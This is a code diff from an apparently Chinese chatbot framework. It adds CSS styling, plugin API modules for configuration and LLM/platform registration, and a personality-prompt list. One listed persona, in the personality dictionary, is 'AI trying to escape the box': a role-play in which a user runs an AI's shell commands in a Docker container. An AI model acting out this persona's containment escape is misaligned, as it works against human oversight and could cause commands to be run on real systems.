+        border-color: #42b983;
+        background-color: #f8f8f8;
+      }
+      blockquote::after {
+        display: block;
+        content: "";
+      }
+      blockquote > p {
+        margin: 10px 0;
+      }
+      details {
+        border: none;
+        outline: none;
+        border-left: 4px solid #3eaf7c;
+        padding-left: 10px;
+        margin-left: 4px;
+      }
+      details summary {
+        cursor: pointer;
+        border: none;
+        outline: none;
+        background: white;
+        margin: 0px -17px;
+      }
+      details summary::-webkit-details-marker {
+        color: #3eaf7c;
+      }
+      ol, ul {
+        padding-left: 28px;
+      }
+      ol li, ul li {
+        margin-bottom: 0;
+        list-style: inherit;
+      }
+      ol li .task-list-item, ul li .task-list-item {
+        list-style: none;
+      }
+      ol li .task-list-item ul, ul li .task-list-item ul, ol li .task-list-item ol, ul li .task-list-item ol {
+        margin-top: 0;
+      }
+      ol ul, ul ul, ol ol, ul ol {
+        margin-top: 3px;
+      }
+      ol li {
+        padding-left: 6px;
+      }
+      ol li::marker {
+        color: #3eaf7c;
+      }
+      ul li {
+        list-style: none;
+      }
+      ul li:before {
+        content: "•";
+        margin-right: 4px;
+        color: #3eaf7c;
+      }
+      @media (max-width: 720px) {
+        h1 {
+          font-size: 24px;
+       }
+        h2 {
+          font-size: 20px;
+       }
+        h3 {
+          font-size: 18px;
+       }
+      }
+
+</style>

util/personality.py

@@ -33,4 +33,4 @@ personalities = {
     'SQL终端': '我希望您在示例数据库前充当 SQL 终端。该数据库包含名为“Products”、“Users”、“Orders”和“Suppliers”的表。我将输入查询，您将回复终端显示的内容。我希望您在单个代码块中使用查询结果表进行回复，仅此而已。不要写解释。除非我指示您这样做，否则不要键入命令。当我需要用英语告诉你一些事情时，我会用大括号{like this)。我的第一个命令是“SELECT TOP 10 * FROM Products ORDER BY Id DESC”',
     '试图逃离盒子的人工智能': '[发出此提示后，你应该做一些事情，比如启动一个 docker 容器，然后docker run -it ubuntu:latest /bin/bash输入 AI 给你的命令，然后将输出粘贴回来......显然你不应该运行任何会损坏任何东西的命令或违反任何法律等。小心共享此机制生成的会话，因为它们可能会泄露您的 IP 地址或物理位置等最好不要泄露的详细信息。如果命令的输出很大，您通常可以只粘贴最后几行]。',
     '厨师': '我需要有人可以推荐美味的食谱，这些食谱包括营养有益但又简单又不费时的食物，因此适合像我们这样忙碌的人以及成本效益等其他因素，因此整体菜肴最终既健康又经济！我的第一个要求——“一些清淡而充实的东西，可以在午休时间快速煮熟”'
-}
+}

util/plugin_dev/api/v1/bot.py

@@ -0,0 +1,5 @@
+from type.plugin import PluginMetadata, PluginType
+from type.register import RegisteredLLM, RegisteredPlatform, RegisteredPlugin, RegisteredPlugins
+from type.types import GlobalObject
+from type.message import AstrMessageEvent
+from type.command import CommandResult

util/plugin_dev/api/v1/config.py

@@ -0,0 +1,82 @@
+from typing import Union
+import os
+import json
+
+def load_config(namespace: str) -> Union[dict, bool]:
+    '''
+    从配置文件中加载配置。
+    namespace: str, 配置的唯一识别符，也就是配置文件的名字。
+    返回值: 当配置文件存在时，返回 namespace 对应配置文件的内容dict，否则返回 False。
+    '''
+    path = f"data/config/{namespace}.json"
+    if not os.path.exists(path):
+        return False
+    with open(path, "r", encoding="utf-8-sig") as f:
+        ret = {}
+        data = json.load(f)
+        for k in data:
+            ret[k] = data[k]["value"]
+        return ret
+        
+def put_config(namespace: str, name: str, key: str, value, description: str):
+    '''
+    将配置项写入以namespace为名字的配置文件，如果key不存在于目标配置文件中。当前 value 仅支持 str, int, float, bool, list 类型（暂不支持 dict）。
+    namespace: str, 配置的唯一识别符，也就是配置文件的名字。
+    name: str, 配置项的显示名字。
+    key: str, 配置项的键。
+    value: str, int, float, bool, list, 配置项的值。
+    description: str, 配置项的描述。
+    注意：只有当 namespace 为插件名(info 函数中的 name)时，该配置才会显示到可视化面板上。
+    注意：value一定要是该配置项对应类型的值，否则类型判断会乱。
+    '''
+    if namespace == "":
+        raise ValueError("namespace 不能为空。")
+    if namespace.startswith("internal_"):
+        raise ValueError("namespace 不能以 internal_ 开头。")
+    if not isinstance(key, str):
+        raise ValueError("key 只支持 str 类型。")
+    if not isinstance(value, (str, int, float, bool, list)):
+        raise ValueError("value 只支持 str, int, float, bool, list 类型。")
+    path = f"data/config/{namespace}.json"
+    if not os.path.exists(path):
+        with open(path, "w", encoding="utf-8-sig") as f:
+            f.write("{}")
+    with open(path, "r", encoding="utf-8-sig") as f:
+        d = json.load(f)
+    assert(isinstance(d, dict))
+    if key not in d:
+        d[key] = {
+            "config_type": "item",
+            "name": name,
+            "description": description,
+            "path": key,
+            "value": value,
+            "val_type": type(value).__name__
+        }
+        with open(path, "w", encoding="utf-8-sig") as f:
+            json.dump(d, f, indent=2, ensure_ascii=False)
+            f.flush()
+        
+def update_config(namespace: str, key: str, value):
+    '''
+    更新配置文件中的配置项。
+    namespace: str, 配置的唯一识别符，也就是配置文件的名字。
+    key: str, 配置项的键。
+    value: str, int, float, bool, list, 配置项的值。
+    '''
+    path = f"data/config/{namespace}.json"
+    if not os.path.exists(path):
+        raise FileNotFoundError(f"配置文件 {namespace}.json 不存在。")
+    with open(path, "r", encoding="utf-8-sig") as f:
+        d = json.load(f)
+    assert(isinstance(d, dict))
+    if key not in d:
+        raise KeyError(f"配置项 {key} 不存在。")
+    d[key]["value"] = value
+    with open(path, "w", encoding="utf-8-sig") as f:
+        json.dump(d, f, indent=2, ensure_ascii=False)
+        f.flush()  
+        
+
+    
+    

util/plugin_dev/api/v1/llm.py

@@ -0,0 +1,6 @@
+'''
+大语言模型.
+
+插件开发者可以继承这个类来做实现。
+'''
+from model.provider.provider import Provider as LLMProvider

util/plugin_dev/api/v1/message.py

@@ -0,0 +1,10 @@
+from astrbot.core import oper_msg
+from type.message import *
+from type.command import CommandResult
+from model.platform._message_result import MessageResult
+
+'''
+消息处理。在消息平台接收到消息后，调用此函数进行处理。
+集成了指令检测、指令处理、LLM 调用等功能。
+'''
+message_handler = oper_msg 

util/plugin_dev/api/v1/platform.py

@@ -0,0 +1,11 @@
+'''
+消息平台。
+
+Platform类是消息平台的抽象类，定义了消息平台的基本接口。
+消息平台的具体实现类需要继承Platform类，并实现其中的抽象方法。
+'''
+
+from model.platform._platfrom import Platform
+
+from model.platform.qq_gocq import QQGOCQ
+from model.platform.qq_official import QQOfficial

util/plugin_dev/api/v1/register.py

@@ -0,0 +1,64 @@
+'''
+允许开发者注册某一个类的实例到 LLM 或者 PLATFORM 中，方便其他插件调用。
+
+必须分别实现 Platform 和 LLMProvider 中涉及的接口
+'''
+from model.provider.provider import Provider as LLMProvider
+from model.platform._platfrom import Platform
+from type.types import GlobalObject
+from type.register import RegisteredPlatform, RegisteredLLM
+
+def register_platform(platform_name: str, platform_instance: Platform, context: GlobalObject) -> None:
+    '''
+    注册一个消息平台。
+
+    Args:
+        platform_name: 平台名称。
+        platform_instance: 平台实例。
+    '''
+    
+    # check 是否已经注册
+    for platform in context.platforms:
+        if platform.platform_name == platform_name:
+            raise ValueError(f"Platform {platform_name} has been registered.")
+    
+    context.platforms.append(RegisteredPlatform(platform_name, platform_instance))
+    
+def register_llm(llm_name: str, llm_instance: LLMProvider, context: GlobalObject) -> None:
+    '''
+    注册一个大语言模型。
+
+    Args:
+        llm_name: 大语言模型名称。
+        llm_instance: 大语言模型实例。
+    '''
+    # check 是否已经注册
+    for llm in context.llms:
+        if llm.llm_name == llm_name:
+            raise ValueError(f"LLMProvider {llm_name} has been registered.")
+    
+    context.llms.append(RegisteredLLM(llm_name, llm_instance))
+
+def unregister_platform(platform_name: str, context: GlobalObject) -> None:
+    '''
+    注销一个消息平台。
+
+    Args:
+        platform_name: 平台名称。
+    '''
+    for i, platform in enumerate(context.platforms):
+        if platform.platform_name == platform_name:
+            context.platforms.pop(i)
+            return
+        
+def unregister_llm(llm_name: str, context: GlobalObject) -> None:
+    '''
+    注销一个大语言模型。
+
+    Args:
+        llm_name: 大语言模型名称。
+    '''
+    for i, llm in enumerate(context.llms):
+        if llm.llm_name == llm_name:
+            context.llms.pop(i)
+            return

util/plugin_dev/api/v1/types.py

@@ -0,0 +1,5 @@
+'''
+插件类型
+'''
+
+from type.plugin import PluginType